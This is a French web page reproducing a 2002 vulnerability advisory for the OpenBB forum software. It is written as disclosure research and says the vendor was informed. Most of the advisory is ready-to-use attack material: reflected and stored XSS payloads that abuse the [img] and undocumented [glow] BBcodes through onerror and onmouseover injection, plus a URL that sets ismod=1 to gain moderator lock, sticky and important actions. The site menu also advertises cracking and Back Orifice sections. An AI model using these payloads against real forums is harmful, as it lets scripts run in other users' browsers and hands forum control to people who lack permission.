Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
les DRM c’est la grippe aviaire du numérique et de la culture
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > OpenBB


    OpenBB

    OpenBB
    ******

    Produit :
    *********
    OpenBB
    http://www.prolixmedia.com

    Versions :
    **********
    1.0.0 RC3 (et moins ?)

    Date :
    ******
    23/05/02

    Problèmes :
    ***********
    - XSS
    - Accès aux options modérateur

    Developpement :
    ***************

    Commençons par un premier trou cross site scripting non permanent :
    /myhome.php?action=messages&box=<script>SCRIPT</script>
    Le problème est que les ' sont remplacé par \' et les " par \".
    On va donc utiliser la balise <form> pour donner quelque chose du genre :
    /myhome.php?action=messages&box=<form%20name=a><input%20name=i%20value=XSS></form><script>alert(document.a.i.value)</script>

    Voyons maintenant le XSS permanent. On va utiliser pour cela les BBcodes.
    Dans faq.php on peut voir :

    ---------------------------------------------------------------------------------------------
    Que sont les BBcodes ?
    Les BBcodes sont utilisés à la place du HTML pour créer des liens, inserer des images, etc.
    [...]
    ---------------------------------------------------------------------------------------------

    Le fichier qui s'occupe de filtrer les messages et de remplacer les BBcodes par du html
    est lib/codeparse.php.
    Dedans on peut voir :

    -----------------------------------------------
    [...]
    $pattern[6] = "#\[img\]http://(.*?)\?(.*?)\[/img\]#si";
    [...]
    $replacement[6] = '<img src="http://\1" border="0" alt="http://\1" />';
    [...]
    ------------------------------------------------

    Il n'est pas possible d'inserer du javascript avec le code [img]javascript:SCRIPT[/img],
    car l'argument d'[img] doit commencer par http://.
    On pourrait aussi essayer de fermer la balise pour executer un script comme ceci :
    [img]http://"><script>[SCRIPT]</script>[/img] mais il y a un filtre qui l'empechera, le
    même qui empeche le html, qui remplacera > par &gt;.
    Mais le " n'est pas filtré dans les balises.
    Pour executer un javascript, on utilisera alors ce code ci :
    [img]http://" onerror="ANYSCRIPT"[/img]
    Ce qui donnera dans la source :
    <img src="http://" onerror="ANYSCRIPT" border="0" alt="http://" onerror="ANYSCRIPT">
    La balise sera bien transformée, car elle commence par http:// et le script sera bien executé,
    car l'image http:// n'existe pas.

    Il y a aussi une autre balise qui n'est pas annoncée, mais qui existe néanmoins dans
    OpenBB :

    ------------------------------------------------------------------------------------
    [...]
    $pattern[22] = "#\[glow tcolor=(.*?), fcolor=(.*?), size=(.*?)\](.*?)\[/glow\]#si";
    [...]
    $replacement[22] = '<table style="filter:glow(color=\'\1\', strength=1)"><tr><td><font color="\2", size="\3">\4</font></td></tr></table>';
    [...]
    ------------------------------------------------------------------------------------

    Le BBcode :
    [glow tcolor=')" onmouseover="[SCRIPT]" nothing="('hop, fcolor=red, size=100]HUHUHU[/glow]
    donnera dans la source HTML :
    <table style="filter:glow(color='')" onmouseover="[SCRIPT]" nothing="('hop', strength=1)"><tr><td><font color="red", size="100">HUHUHU</font></td></tr></table>
    et le script sera executé si le lecteur passe sa souris au-dessus du tableau.


    Le dernier trou permet un accès à tous aux options modérateurs suivantes :
    - Fermer/ouvrir une partie du forum
    - Mettre en mode sticky ou l'enlever
    - Mettre en mode important ou l'enlever

    On utilise le fichier moderator.php
    Dans ce fichier, on peut voir comme sécurité une ligne du genre "if (!$ismod) {...".
    L'url pour fermer une partie du forum sera :
    http://www.site.com/moderator.php?action=lock&TID=LIDDUFORUM&ismod=1
    ou action=sticky ou action=important.
    Pour faire le contraire ou annuler l'action, il suffit de rajouter &status=1 à l'url.

    Patch :
    *******
    Les créateurs ont été avertit.

    Greetz :
    ********
    /

    Credits :
    *********
    frog-m@n
    leseulfrog@hotmail.com

    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 163 millisecondes